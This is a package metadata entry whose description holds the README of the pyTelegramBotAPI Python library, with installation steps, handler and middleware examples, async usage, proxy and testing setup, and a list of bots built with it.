location_href: 00004823-python-pytelegrambotapi/python-pyTelegramBotAPI-4.10.0-1.src.rpm
checksum_type: sha256
description:
  [![PyPi Package Version](https://img.shields.io/pypi/v/pyTelegramBotAPI.svg)](https://pypi.python.org/pypi/pyTelegramBotAPI)
  [![Supported Python versions](https://img.shields.io/pypi/pyversions/pyTelegramBotAPI.svg)](https://pypi.python.org/pypi/pyTelegramBotAPI)
  [![Documentation Status](https://readthedocs.org/projects/pytba/badge/?version=latest)](https://pytba.readthedocs.io/en/latest/?badge=latest)
  [![Build Status](https://travis-ci.org/eternnoir/pyTelegramBotAPI.svg?branch=master)](https://travis-ci.org/eternnoir/pyTelegramBotAPI)
  [![PyPi downloads](https://img.shields.io/pypi/dm/pyTelegramBotAPI.svg)](https://pypi.org/project/pyTelegramBotAPI/)
  [![PyPi status](https://img.shields.io/pypi/status/pytelegrambotapi.svg?style=flat-square)](https://pypi.python.org/pypi/pytelegrambotapi)



  <p align="center">A simple, but extensible Python implementation for the <a href="https://core.telegram.org/bots/api">Telegram Bot API</a>.</p>
  <p align="center">Both synchronous and asynchronous.</p>



  <h2><a href='https://pytba.readthedocs.io/en/latest/index.html'>Official documentation</a></h2>
  <h2><a href='https://pytba.readthedocs.io/ru/latest/index.html'>Official ru documentation</a></h2>



    * [Getting started](#getting-started)
    * [Writing your first bot](#writing-your-first-bot)
      * [Prerequisites](#prerequisites)
      * [A simple echo bot](#a-simple-echo-bot)
    * [General API Documentation](#general-api-documentation)
      * [Types](#types)
      * [Methods](#methods)
      * [General use of the API](#general-use-of-the-api)
        * [Message handlers](#message-handlers)
        * [Edited Message handler](#edited-message-handler)
        * [Channel Post handler](#channel-post-handler)
        * [Edited Channel Post handler](#edited-channel-post-handler)
        * [Callback Query handlers](#callback-query-handler)
        * [Shipping Query Handler](#shipping-query-handler)
        * [Pre Checkout Query Handler](#pre-checkout-query-handler)
        * [Poll Handler](#poll-handler)
        * [Poll Answer Handler](#poll-answer-handler)
        * [My Chat Member Handler](#my-chat-member-handler)
        * [Chat Member Handler](#chat-member-handler)
        * [Chat Join request handler](#chat-join-request-handler)
      * [Inline Mode](#inline-mode)
        * [Inline handler](#inline-handler)
        * [Chosen Inline handler](#chosen-inline-handler)
        * [Answer Inline Query](#answer-inline-query)
      * [Additional API features](#additional-api-features)
        * [Middleware handlers](#middleware-handlers)
        * [Custom filters](#custom-filters)
        * [TeleBot](#telebot)
        * [Reply markup](#reply-markup)
    * [Advanced use of the API](#advanced-use-of-the-api)
      * [Using local Bot API Server](#using-local-bot-api-sever)
      * [Asynchronous TeleBot](#asynchronous-telebot)
      * [Sending large text messages](#sending-large-text-messages)
      * [Controlling the amount of Threads used by TeleBot](#controlling-the-amount-of-threads-used-by-telebot)
      * [The listener mechanism](#the-listener-mechanism)
      * [Using web hooks](#using-web-hooks)
      * [Logging](#logging)
      * [Proxy](#proxy)
      * [Testing](#testing)
    * [API conformance limitations](#api-conformance-limitations)
    * [AsyncTeleBot](#asynctelebot)
    * [F.A.Q.](#faq)
      * [How can I distinguish a User and a GroupChat in message.chat?](#how-can-i-distinguish-a-user-and-a-groupchat-in-messagechat)
      * [How can I handle reocurring ConnectionResetErrors?](#how-can-i-handle-reocurring-connectionreseterrors)
    * [The Telegram Chat Group](#the-telegram-chat-group)
    * [Telegram Channel](#telegram-channel)
    * [More examples](#more-examples)
    * [Code Template](#code-template)
    * [Bots using this library](#bots-using-this-library)



  This API is tested with Python 3.7-3.11 and Pypy 3.
  There are two ways to install the library:

  * Installation using pip (a Python package manager):

  ```
  $ pip install pyTelegramBotAPI
  ```
  * Installation from source (requires git):

  ```
  $ git clone https://github.com/eternnoir/pyTelegramBotAPI.git
  $ cd pyTelegramBotAPI
  $ python setup.py install
  ```
  or:
  ```
  $ pip install git+https://github.com/eternnoir/pyTelegramBotAPI.git
  ```

  It is generally recommended to use the first option.

  *While the API is production-ready, it is still under development and it has regular updates, do not forget to update it regularly by calling*
  ```
  pip install pytelegrambotapi --upgrade
  ```





  It is presumed that you [have obtained an API token with @BotFather](https://core.telegram.org/bots#botfather). We will call this token `TOKEN`.
  Furthermore, you have basic knowledge of the Python programming language and more importantly [the Telegram Bot API](https://core.telegram.org/bots/api).



  The TeleBot class (defined in \__init__.py) encapsulates all API calls in a single class. It provides functions such as `send_xyz` (`send_message`, `send_document` etc.) and several ways to listen for incoming messages.

  Create a file called `echo_bot.py`.
  Then, open the file and create an instance of the TeleBot class.
  ```python
  import telebot

  bot = telebot.TeleBot("TOKEN", parse_mode=None) # You can set parse_mode by default. HTML or MARKDOWN
  ```
  *Note: Make sure to actually replace TOKEN with your own API token.*

  After that declaration, we need to register some so-called message handlers. Message handlers define filters which a message must pass. If a message passes the filter, the decorated function is called and the incoming message is passed as an argument.

  Let's define a message handler which handles incoming `/start` and `/help` commands.
  ```python
  @bot.message_handler(commands=['start', 'help'])
  def send_welcome(message):
  	bot.reply_to(message, "Howdy, how are you doing?")
  ```
  A function which is decorated by a message handler __can have an arbitrary name, however, it must have only one parameter (the message)__.

  Let's add another handler:
  ```python
  @bot.message_handler(func=lambda m: True)
  def echo_all(message):
  	bot.reply_to(message, message.text)
  ```
  This one echoes all incoming text messages back to the sender. It uses a lambda function to test a message. If the lambda returns True, the message is handled by the decorated function. Since we want all messages to be handled by this function, we simply always return True.

  *Note: all handlers are tested in the order in which they were declared*

  We now have a basic bot which replies a static message to "/start" and "/help" commands and which echoes the rest of the sent messages. To start the bot, add the following to our source file:
  ```python
  bot.infinity_polling()
  ```
  Alright, that's it! Our source file now looks like this:
  ```python
  import telebot

  bot = telebot.TeleBot("YOUR_BOT_TOKEN")

  @bot.message_handler(commands=['start', 'help'])
  def send_welcome(message):
  	bot.reply_to(message, "Howdy, how are you doing?")

  @bot.message_handler(func=lambda message: True)
  def echo_all(message):
  	bot.reply_to(message, message.text)

  bot.infinity_polling()
  ```
  To start the bot, simply open up a terminal and enter `python echo_bot.py` to run the bot! Test it by sending commands ('/start' and '/help') and arbitrary text messages.





  All types are defined in types.py. They are all completely in line with the [Telegram API's definition of the types](https://core.telegram.org/bots/api#available-types), except for the Message's `from` field, which is renamed to `from_user` (because `from` is a Python reserved token). Thus, attributes such as `message_id` can be accessed directly with `message.message_id`. Note that `message.chat` can be either an instance of `User` or `GroupChat` (see [How can I distinguish a User and a GroupChat in message.chat?](#how-can-i-distinguish-a-user-and-a-groupchat-in-messagechat)).

  The Message object also has a `content_type`attribute, which defines the type of the Message. `content_type` can be one of the following strings:
  `text`, `audio`, `document`, `photo`, `sticker`, `video`, `video_note`, `voice`, `location`, `contact`, `new_chat_members`, `left_chat_member`, `new_chat_title`, `new_chat_photo`, `delete_chat_photo`, `group_chat_created`, `supergroup_chat_created`, `channel_chat_created`, `migrate_to_chat_id`, `migrate_from_chat_id`, `pinned_message`, `web_app_data`.

  You can use some types in one function. Example:

  ```content_types=["text", "sticker", "pinned_message", "photo", "audio"]```



  All [API methods](https://core.telegram.org/bots/api#available-methods) are located in the TeleBot class. They are renamed to follow common Python naming conventions. E.g. `getMe` is renamed to `get_me` and `sendMessage` to `send_message`.



  Outlined below are some general use cases of the API.


  A message handler is a function that is decorated with the `message_handler` decorator of a TeleBot instance. Message handlers consist of one or multiple filters.
  Each filter must return True for a certain message in order for a message handler to become eligible to handle that message. A message handler is declared in the following way (provided `bot` is an instance of TeleBot):
  ```python
  @bot.message_handler(filters)
  def function_name(message):
  	bot.reply_to(message, "This is a message handler")
  ```
  `function_name` is not bound to any restrictions. Any function name is permitted with message handlers. The function must accept at most one argument, which will be the message that the function must handle.
  `filters` is a list of keyword arguments.
  A filter is declared in the following manner: `name=argument`. One handler may have multiple filters.
  TeleBot supports the following filters:

  |name|argument(s)|Condition|
  |:---:|---| ---|
  |content_types|list of strings (default `['text']`)|`True` if message.content_type is in the list of strings.|
  |regexp|a regular expression as a string|`True` if `re.search(regexp_arg)` returns `True` and `message.content_type == 'text'` (See [Python Regular Expressions](https://docs.python.org/2/library/re.html))|
  |commands|list of strings|`True` if `message.content_type == 'text'` and `message.text` starts with a command that is in the list of strings.|
  |chat_types|list of chat types|`True` if `message.chat.type` in your filter|
  |func|a function (lambda or function reference)|`True` if the lambda or function reference returns `True`|

  Here are some examples of using the filters and message handlers:

  ```python
  import telebot
  bot = telebot.TeleBot("TOKEN")


  @bot.message_handler(commands=['start', 'help'])
  def handle_start_help(message):
  	pass


  @bot.message_handler(content_types=['document', 'audio'])
  def handle_docs_audio(message):
  	pass


  @bot.message_handler(regexp="SOME_REGEXP")
  def handle_message(message):
  	pass


  @bot.message_handler(func=lambda message: message.document.mime_type == 'text/plain', content_types=['document'])
  def handle_text_doc(message):
  	pass


  def test_message(message):
  	return message.document.mime_type == 'text/plain'

  @bot.message_handler(func=test_message, content_types=['document'])
  def handle_text_doc(message):
  	pass



  @bot.message_handler(commands=['hello'])
  @bot.message_handler(func=lambda msg: msg.text.encode("utf-8") == SOME_FANCY_EMOJI)
  def send_something(message):
      pass
  ```
  **Important: all handlers are tested in the order in which they were declared**


  Handle edited messages
  `@bot.edited_message_handler(filters) # <- passes a Message type object to your function`


  Handle channel post messages
  `@bot.channel_post_handler(filters) # <- passes a Message type object to your function`


  Handle edited channel post messages
  `@bot.edited_channel_post_handler(filters) # <- passes a Message type object to your function`


  Handle callback queries
  ```python
  @bot.callback_query_handler(func=lambda call: True)
  def test_callback(call): # <- passes a CallbackQuery type object to your function
      logger.info(call)
  ```


  Handle shipping queries
  `@bot.shipping_query_handler() # <- passes a ShippingQuery type object to your function`


  Handle pre checkoupt queries
  `@bot.pre_checkout_query_handler() # <- passes a PreCheckoutQuery type object to your function`


  Handle poll updates
  `@bot.poll_handler() # <- passes a Poll type object to your function`


  Handle poll answers
  `@bot.poll_answer_handler() # <- passes a PollAnswer type object to your function`


  Handle updates of a the bot's member status in a chat
  `@bot.my_chat_member_handler() # <- passes a ChatMemberUpdated type object to your function`


  Handle updates of a chat member's status in a chat
  `@bot.chat_member_handler() # <- passes a ChatMemberUpdated type object to your function`
  *Note: "chat_member" updates are not requested by default. If you want to allow all update types, set `allowed_updates` in `bot.polling()` / `bot.infinity_polling()` to `util.update_types`*


  Handle chat join requests using:
  `@bot.chat_join_request_handler() # <- passes ChatInviteLink type object to your function`



  More information about [Inline mode](https://core.telegram.org/bots/inline).



  Now, you can use inline_handler to get inline queries in telebot.

  ```python

  @bot.inline_handler(lambda query: query.query == 'text')
  def query_text(inline_query):
      
  ```



  Use chosen_inline_handler to get chosen_inline_result in telebot. Don't forgot add the /setinlinefeedback
  command for @Botfather.

  More information : [collecting-feedback](https://core.telegram.org/bots/inline#collecting-feedback)

  ```python
  @bot.chosen_inline_handler(func=lambda chosen_inline_result: True)
  def test_chosen(chosen_inline_result):
      
  ```



  ```python
  @bot.inline_handler(lambda query: query.query == 'text')
  def query_text(inline_query):
      try:
          r = types.InlineQueryResultArticle('1', 'Result', types.InputTextMessageContent('Result message.'))
          r2 = types.InlineQueryResultArticle('2', 'Result2', types.InputTextMessageContent('Result message2.'))
          bot.answer_inline_query(inline_query.id, [r, r2])
      except Exception as e:
          print(e)

  ```





  A middleware handler is a function that allows you to modify requests or the bot context as they pass through the
  Telegram to the bot. You can imagine middleware as a chain of logic connection handled before any other handlers are
  executed. Middleware processing is disabled by default, enable it by setting `apihelper.ENABLE_MIDDLEWARE = True`.

  ```python
  apihelper.ENABLE_MIDDLEWARE = True

  @bot.middleware_handler(update_types=['message'])
  def modify_message(bot_instance, message):
      
      message.another_text = message.text + ':changed'

  @bot.message_handler(commands=['start'])
  def start(message):
      
      assert message.another_text == message.text + ':changed'
  ```
  There are other examples using middleware handler in the [examples/middleware](examples/middleware) directory.


  There are class-based middlewares.
  Basic class-based middleware looks like this:
  ```python
  class Middleware(BaseMiddleware):
      def __init__(self):
          self.update_types = ['message']
      def pre_process(self, message, data):
          data['foo'] = 'Hello' # just for example
          
          
          
      def post_process(self, message, data, exception=None):
          print(data['foo'])
          if exception: # check for exception
              print(exception)
  ```
  Class-based middleware should have to functions: post and pre process.
  So, as you can see, class-based middlewares work before and after handler execution.
  For more, check out in [examples](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/middleware/class_based)


  Also, you can use built-in custom filters. Or, you can create your own filter.

  [Example of custom filter](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/custom_filters/general_custom_filters.py)

  Also, we have examples on them. Check this links:

  You can check some built-in filters in source [code](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/telebot/custom_filters.py)

  Example of [filtering by id](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/custom_filters/id_filter_example.py)

  Example of [filtering by text](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/custom_filters/text_filter_example.py)

  If you want to add some built-in filter, you are welcome to add it in custom_filters.py file.

  Here is example of creating filter-class:

  ```python
  class IsAdmin(telebot.custom_filters.SimpleCustomFilter):
      
      key='is_chat_admin'
      @staticmethod
      def check(message: telebot.types.Message):
          return bot.get_chat_member(message.chat.id,message.from_user.id).status in ['administrator','creator']


  bot.add_custom_filter(IsAdmin())


  @bot.message_handler(is_chat_admin=True)
  def admin_of_group(message):
  	bot.send_message(message.chat.id, 'You are admin of this group!')

  ```



  ```python
  import telebot

  TOKEN = '<token_string>'
  tb = telebot.TeleBot(TOKEN)	#create a new Telegram Bot object





  tb.infinity_polling(interval=0, timeout=20)


  user = tb.get_me()


  tb.set_webhook(url="http://example.com", certificate=open('mycert.pem'))

  tb.remove_webhook()


  updates = tb.get_updates()

  updates = tb.get_updates(1234,100,20) #get_Updates(offset, limit, timeout):


  tb.send_message(chat_id, text)


  tb.edit_message_text(new_text, chat_id, message_id)


  tb.forward_message(to_chat_id, from_chat_id, message_id)



  photo = open('/tmp/photo.png', 'rb')
  tb.send_photo(chat_id, photo)
  tb.send_photo(chat_id, "FILEID")


  audio = open('/tmp/audio.mp3', 'rb')
  tb.send_audio(chat_id, audio)
  tb.send_audio(chat_id, "FILEID")


  tb.send_audio(CHAT_ID, file_data, 1, 'eternnoir', 'pyTelegram')


  voice = open('/tmp/voice.ogg', 'rb')
  tb.send_voice(chat_id, voice)
  tb.send_voice(chat_id, "FILEID")


  doc = open('/tmp/file.txt', 'rb')
  tb.send_document(chat_id, doc)
  tb.send_document(chat_id, "FILEID")


  sti = open('/tmp/sti.webp', 'rb')
  tb.send_sticker(chat_id, sti)
  tb.send_sticker(chat_id, "FILEID")


  video = open('/tmp/video.mp4', 'rb')
  tb.send_video(chat_id, video)
  tb.send_video(chat_id, "FILEID")


  videonote = open('/tmp/videonote.mp4', 'rb')
  tb.send_video_note(chat_id, videonote)
  tb.send_video_note(chat_id, "FILEID")


  tb.send_location(chat_id, lat, lon)




  tb.send_chat_action(chat_id, action_string)




  import requests
  file_info = tb.get_file(file_id)

  file = requests.get('https://api.telegram.org/file/bot{0}/{1}'.format(API_TOKEN, file_info.file_path))


  ```

  All `send_xyz` functions of TeleBot take an optional `reply_markup` argument. This argument must be an instance of `ReplyKeyboardMarkup`, `ReplyKeyboardRemove` or `ForceReply`, which are defined in types.py.

  ```python
  from telebot import types









  markup = types.ReplyKeyboardMarkup(row_width=2)
  itembtn1 = types.KeyboardButton('a')
  itembtn2 = types.KeyboardButton('v')
  itembtn3 = types.KeyboardButton('d')
  markup.add(itembtn1, itembtn2, itembtn3)
  tb.send_message(chat_id, "Choose one letter:", reply_markup=markup)


  markup = types.ReplyKeyboardMarkup()
  itembtna = types.KeyboardButton('a')
  itembtnv = types.KeyboardButton('v')
  itembtnc = types.KeyboardButton('c')
  itembtnd = types.KeyboardButton('d')
  itembtne = types.KeyboardButton('e')
  markup.row(itembtna, itembtnv)
  markup.row(itembtnc, itembtnd, itembtne)
  tb.send_message(chat_id, "Choose one letter:", reply_markup=markup)
  ```
  The last example yields this result:

  ![ReplyKeyboardMarkup](https://farm3.staticflickr.com/2933/32418726704_9ef76093cf_o_d.jpg "ReplyKeyboardMarkup")

  ```python


  markup = types.ReplyKeyboardRemove(selective=False)
  tb.send_message(chat_id, message, reply_markup=markup)
  ```

  ```python


  markup = types.ForceReply(selective=False)
  tb.send_message(chat_id, "Send me another word:", reply_markup=markup)
  ```
  ForceReply:

  ![ForceReply](https://farm4.staticflickr.com/3809/32418726814_d1baec0fc2_o_d.jpg "ForceReply")



  This object represents one special entity in a text message. For example, hashtags, usernames, URLs, etc.
  Attributes:
  * `type`
  * `url`
  * `offset`
  * `length`
  * `user`


  **Here's an Example:**`message.entities[num].<attribute>`<br>
  Here `num` is the entity number or order of entity in a reply, for if incase there are multiple entities in the reply/message.<br>
  `message.entities` returns a list of entities object. <br>
  `message.entities[0].type` would give the type of the first entity<br>
  Refer [Bot Api](https://core.telegram.org/bots/api#messageentity) for extra details




  Since version 5.0 of the Bot API, you have the possibility to run your own [Local Bot API Server](https://core.telegram.org/bots/api#using-a-local-bot-api-server).
  pyTelegramBotAPI also supports this feature.
  ```python
  from telebot import apihelper

  apihelper.API_URL = "http://localhost:4200/bot{0}/{1}"
  ```
  **Important: Like described [here](https://core.telegram.org/bots/api#logout), you have to log out your bot from the Telegram server before switching to your local API server. in pyTelegramBotAPI use `bot.log_out()`**

  *Note: 4200 is an example port*


  New: There is an asynchronous implementation of telebot.
  To enable this behaviour, create an instance of AsyncTeleBot instead of TeleBot.
  ```python
  tb = telebot.AsyncTeleBot("TOKEN")
  ```
  Now, every function that calls the Telegram API is executed in a separate asynchronous task.
  Using AsyncTeleBot allows you to do the following:
  ```python
  import telebot

  tb = telebot.AsyncTeleBot("TOKEN")

  @tb.message_handler(commands=['start'])
  async def start_message(message):
  	await bot.send_message(message.chat.id, 'Hello!')

  ```

  See more in [examples](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/asynchronous_telebot)


  Sometimes you must send messages that exceed 5000 characters. The Telegram API can not handle that many characters in one request, so we need to split the message in multiples. Here is how to do that using the API:
  ```python
  from telebot import util
  large_text = open("large_text.txt", "rb").read()



  splitted_text = util.split_string(large_text, 3000)

  for text in splitted_text:
  	tb.send_message(chat_id, text)
  ```

  Or you can use the new `smart_split` function to get more meaningful substrings:
  ```python
  from telebot import util
  large_text = open("large_text.txt", "rb").read()



  splitted_text = util.smart_split(large_text, chars_per_string=3000)
  for text in splitted_text:
  	tb.send_message(chat_id, text)
  ```

  The TeleBot constructor takes the following optional arguments:

   - threaded: True/False (default True). A flag to indicate whether
     TeleBot should execute message handlers on it's polling Thread.


  As an alternative to the message handlers, one can also register a function as a listener to TeleBot.

  NOTICE: handlers won't disappear! Your message will be processed both by handlers and listeners. Also, it's impossible to predict which will work at first because of threading. If you use threaded=False, custom listeners will work earlier, after them handlers will be called.
  Example:
  ```python
  def handle_messages(messages):
  	for message in messages:
  		
  		bot.reply_to(message, 'Hi')

  bot.set_update_listener(handle_messages)
  bot.infinity_polling()
  ```


  When using webhooks telegram sends one Update per call, for processing it you should call process_new_messages([update.message]) when you recieve it.

  There are some examples using webhooks in the [examples/webhook_examples](examples/webhook_examples) directory.


  You can use the Telebot module logger to log debug info about Telebot. Use `telebot.logger` to get the logger of the TeleBot module.
  It is possible to add custom logging Handlers to the logger. Refer to the [Python logging module page](https://docs.python.org/2/library/logging.html) for more info.

  ```python
  import logging

  logger = telebot.logger
  telebot.logger.setLevel(logging.DEBUG) # Outputs debug messages to console.
  ```


  For sync:

  You can use proxy for request. `apihelper.proxy` object will use by call `requests` proxies argument.

  ```python
  from telebot import apihelper

  apihelper.proxy = {'http':'http://127.0.0.1:3128'}
  ```

  If you want to use socket5 proxy you need install dependency `pip install requests[socks]` and make sure, that you have the latest version of `gunicorn`, `PySocks`, `pyTelegramBotAPI`, `requests` and `urllib3`.

  ```python
  apihelper.proxy = {'https':'socks5://userproxy:password@proxy_address:port'}
  ```

  For async:
  ```python
  from telebot import asyncio_helper

  asyncio_helper.proxy = 'http://127.0.0.1:3128' #url
  ```



  You can disable or change the interaction with real Telegram server by using
  ```python
  apihelper.CUSTOM_REQUEST_SENDER = your_handler
  ```
  parameter. You can pass there your own function that will be called instead of _requests.request_.

  For example:
  ```python
  def custom_sender(method, url, **kwargs):
      print("custom_sender. method: {}, url: {}, params: {}".format(method, url, kwargs.get("params")))
      result = util.CustomRequestResponse('{"ok":true,"result":{"message_id": 1, "date": 1, "chat": {"id": 1, "type": "private"}}}')
      return result
  ```

  Then you can use API and proceed requests in your handler code.
  ```python
  apihelper.CUSTOM_REQUEST_SENDER = custom_sender
  tb = TeleBot("test")
  res = tb.send_message(123, "Test")
  ```

  Result will be:

  `custom_sender. method: post, url: https://api.telegram.org/botololo/sendMessage, params: {'chat_id': '123', 'text': 'Test'}`




  * ➕ [Bot API 4.5](https://core.telegram.org/bots/api-changelog#december-31-2019) - No nested MessageEntities and Markdown2 support
  * ➕ [Bot API 4.1](https://core.telegram.org/bots/api-changelog#august-27-2018)   - No Passport support
  * ➕ [Bot API 4.0](https://core.telegram.org/bots/api-changelog#july-26-2018)     - No Passport support




  We have a fully asynchronous version of TeleBot.
  This class is not controlled by threads. Asyncio tasks are created to execute all the stuff.


  Echo Bot example on AsyncTeleBot:

  ```python



  from telebot.async_telebot import AsyncTeleBot
  import asyncio
  bot = AsyncTeleBot('TOKEN')




  @bot.message_handler(commands=['help', 'start'])
  async def send_welcome(message):
      await bot.reply_to(message, """\
  Hi there, I am EchoBot.
  I am here to echo your kind words back to you. Just say anything nice and I'll say the exact same thing to you!\
  """)



  @bot.message_handler(func=lambda message: True)
  async def echo_message(message):
      await bot.reply_to(message, message.text)


  asyncio.run(bot.polling())
  ```
  As you can see here, keywords are await and async.


  Asynchronous tasks depend on processor performance. Many asynchronous tasks can run parallelly, while thread tasks will block each other.


  AsyncTeleBot is asynchronous. It uses aiohttp instead of requests module.


  See more examples in our [examples](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/asynchronous_telebot) folder





  Telegram Bot API support new type Chat for message.chat.

  - Check the ```type``` attribute in ```Chat``` object:
  ```python
  if message.chat.type == "private":
      

  if message.chat.type == "group":
  	

  if message.chat.type == "supergroup":
  	

  if message.chat.type == "channel":
  	

  ```



  Bot instances that were idle for a long time might be rejected by the server when sending a message due to a timeout of the last used session. Add `apihelper.SESSION_TIME_TO_LIVE = 5 * 60` to your initialisation to force recreation after 5 minutes without any activity.



  Get help. Discuss. Chat.

  * Join the [pyTelegramBotAPI Telegram Chat Group](https://telegram.me/joinchat/Bn4ixj84FIZVkwhk2jag6A)



  Join the [News channel](https://t.me/pyTelegramBotAPI). Here we will post releases and updates.



  * [Echo Bot](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/echo_bot.py)
  * [Deep Linking](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/deep_linking.py)
  * [next_step_handler Example](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/step_example.py)


  Template is a ready folder that contains architecture of basic project.
  Here are some examples of template:

  * [AsyncTeleBot template](https://github.com/coder2020official/asynctelebot_template)
  * [TeleBot template](https://github.com/coder2020official/telebot_template)



  * [SiteAlert bot](https://telegram.me/SiteAlert_bot) ([source](https://github.com/ilteoood/SiteAlert-Python)) by *ilteoood* - Monitors websites and sends a notification on changes
  * [TelegramLoggingBot](https://github.com/aRandomStranger/TelegramLoggingBot) by *aRandomStranger*
  * [Telegram LMGTFY_bot](https://github.com/GabrielRF/telegram-lmgtfy_bot) by *GabrielRF* - Let me Google that for you.
  * [Telegram Proxy Bot](https://github.com/mrgigabyte/proxybot) by *mrgigabyte*
  * [RadRetroRobot](https://github.com/Tronikart/RadRetroRobot) by *Tronikart* - Multifunctional Telegram Bot RadRetroRobot.
  * [League of Legends bot](https://telegram.me/League_of_Legends_bot) ([source](https://github.com/i32ropie/lol)) by *i32ropie*
  * [NeoBot](https://github.com/neoranger/NeoBot) by [@NeoRanger](https://github.com/neoranger)
  * [ColorCodeBot](https://t.me/colorcodebot) ([source](https://github.com/andydecleyre/colorcodebot)) - Share code snippets as beautifully syntax-highlighted HTML and/or images.
  * [ComedoresUGRbot](http://telegram.me/ComedoresUGRbot) ([source](https://github.com/alejandrocq/ComedoresUGRbot)) by [*alejandrocq*](https://github.com/alejandrocq) - Telegram bot to check the menu of Universidad de Granada dining hall.
  * [proxybot](https://github.com/p-hash/proxybot) - Simple Proxy Bot for Telegram. by p-hash
  * [DonantesMalagaBot](https://github.com/vfranch/DonantesMalagaBot) - DonantesMalagaBot facilitates information to Malaga blood donors about the places where they can donate today or in the incoming days. It also records the date of the last donation so that it helps the donors to know when they can donate again. - by vfranch
  * [DuttyBot](https://github.com/DmytryiStriletskyi/DuttyBot) by *Dmytryi Striletskyi* - Timetable for one university in Kiev.
  * [wat-bridge](https://github.com/rmed/wat-bridge) by [*rmed*](https://github.com/rmed) - Send and receive messages to/from WhatsApp through Telegram
  * [filmratingbot](http://t.me/filmratingbot)([source](https://github.com/jcolladosp/film-rating-bot)) by [*jcolladosp*](https://github.com/jcolladosp) - Telegram bot using the Python API that gets films rating from IMDb and metacritic
  * [Send2Kindlebot](http://t.me/Send2KindleBot) ([source](https://github.com/GabrielRF/Send2KindleBot)) by *GabrielRF* - Send to Kindle service.
  * [RastreioBot](http://t.me/RastreioBot) ([source](https://github.com/GabrielRF/RastreioBot)) by *GabrielRF* - Bot used to track packages on the Brazilian Mail Service.
  * [Spbu4UBot](http://t.me/Spbu4UBot)([link](https://github.com/EeOneDown/spbu4u)) by *EeOneDown* - Bot with timetables for SPbU students.
  * [SmartySBot](http://t.me/ZDU_bot)([link](https://github.com/0xVK/SmartySBot)) by *0xVK* - Telegram timetable bot, for Zhytomyr Ivan Franko State University students.
  * [LearnIt](https://t.me/LearnItbot)([link](https://github.com/tiagonapoli/LearnIt)) - A Telegram Bot created to help people to memorize other languages’ vocabulary.
  * [Bot-Telegram-Shodan ](https://github.com/rubenleon/Bot-Telegram-Shodan) by [rubenleon](https://github.com/rubenleon)
  * [VigoBusTelegramBot](https://t.me/vigobusbot) ([GitHub](https://github.com/Pythoneiro/VigoBus-TelegramBot)) - Bot that provides buses coming to a certain stop and their remaining time for the city of Vigo (Galicia - Spain)
  * [kaishnik-bot](https://t.me/kaishnik_bot) ([source](https://github.com/airatk/kaishnik-bot)) by *airatk* - bot which shows all the necessary information to KNTRU-KAI students.
  * [Robbie](https://t.me/romdeliverybot) ([source](https://github.com/FacuM/romdeliverybot_support)) by @FacuM - Support Telegram bot for developers and maintainers.
  * [AsadovBot](https://t.me/asadov_bot) ([source](https://github.com/desexcile/BotApi)) by @DesExcile - Сatalog of poems by Eduard Asadov.
  * [thesaurus_com_bot](https://t.me/thesaurus_com_bot) ([source](https://github.com/LeoSvalov/words-i-learn-bot)) by @LeoSvalov - words and synonyms from [dictionary.com](https://www.dictionary.com) and [thesaurus.com](https://www.thesaurus.com) in the telegram.
  * [InfoBot](https://t.me/info2019_bot) ([source](https://github.com/irevenko/info-bot)) by @irevenko - An all-round bot that displays some statistics (weather, time, crypto etc...)
  * [FoodBot](https://t.me/ChensonUz_bot) ([source](https://github.com/Fliego/old_restaurant_telegram_chatbot)) by @Fliego - a simple bot for food ordering
  * [Sporty](https://t.me/SportydBot) ([source](https://github.com/0xnu/sporty)) by @0xnu - Telegram bot for displaying the latest news, sports schedules and injury updates.
  * [JoinGroup Silencer Bot](https://t.me/joingroup_silencer_bot) ([source](https://github.com/zeph1997/Telegram-Group-Silencer-Bot)) by [@zeph1997](https://github.com/zeph1997) - A Telegram Bot to remove "join group" and "removed from group" notifications.
  * [TasksListsBot](https://t.me/TasksListsBot) ([source](https://github.com/Pablo-Davila/TasksListsBot)) by [@Pablo-Davila](https://github.com/Pablo-Davila) - A (tasks) lists manager bot for Telegram.
  * [MyElizaPsychologistBot](https://t.me/TasksListsBot) ([source](https://github.com/Pablo-Davila/MyElizaPsychologistBot)) by [@Pablo-Davila](https://github.com/Pablo-Davila) - An implementation of the famous Eliza psychologist chatbot.
  * [Frcstbot](https://t.me/frcstbot) ([source](https://github.com/Mrsqd/frcstbot_public)) by [Mrsqd](https://github.com/Mrsqd). A Telegram bot that will always be happy to show you the weather forecast.
  * [MineGramBot](https://github.com/ModischFabrications/MineGramBot) by [ModischFabrications](https://github.com/ModischFabrications). This bot can start, stop and monitor a minecraft server.
  * [Tabletop DiceBot](https://github.com/dexpiper/tabletopdicebot) by [dexpiper](https://github.com/dexpiper). This bot can roll multiple dices for RPG-like games, add positive and negative modifiers and show short descriptions to the rolls.
  * [BarnameKon](https://t.me/BarnameKonBot) by [Anvaari](https://github.com/anvaari). This Bot make "Add to google calendar" link for your events. It give information about event and return link. It work for Jalali calendar and in Tehran Time. [Source code](https://github.com/anvaari/BarnameKon)
  * [Translator bot](https://github.com/AREEG94FAHAD/translate_text_bot) by Areeg Fahad. This bot can be used to translate texts.
  * [Digital Cryptocurrency bot](https://github.com/AREEG94FAHAD/currencies_bot) by Areeg Fahad. With this bot, you can now monitor the prices of more than 12 digital Cryptocurrency.
  * [Anti-Tracking Bot](https://t.me/AntiTrackingBot) by Leon Heess [(source)](https://github.com/leonheess/AntiTrackingBot). Send any link, and the bot tries its best to remove all tracking from the link you sent.
  * [Developer Bot](https://t.me/IndDeveloper_bot) by [Vishal Singh](https://github.com/vishal2376) [(source code)](https://github.com/vishal2376/telegram-bot) This telegram bot can do tasks like GitHub search & clone,provide c++ learning resources ,Stackoverflow search, Codeforces(profile visualizer,random problems)
  * [oneIPO bot](https://github.com/aaditya2200/IPO-proj) by [Aadithya](https://github.com/aaditya2200) & [Amol Soans](https://github.com/AmolDerickSoans) This Telegram bot provides live updates , data and documents on current and upcoming IPOs(Initial Public Offerings)
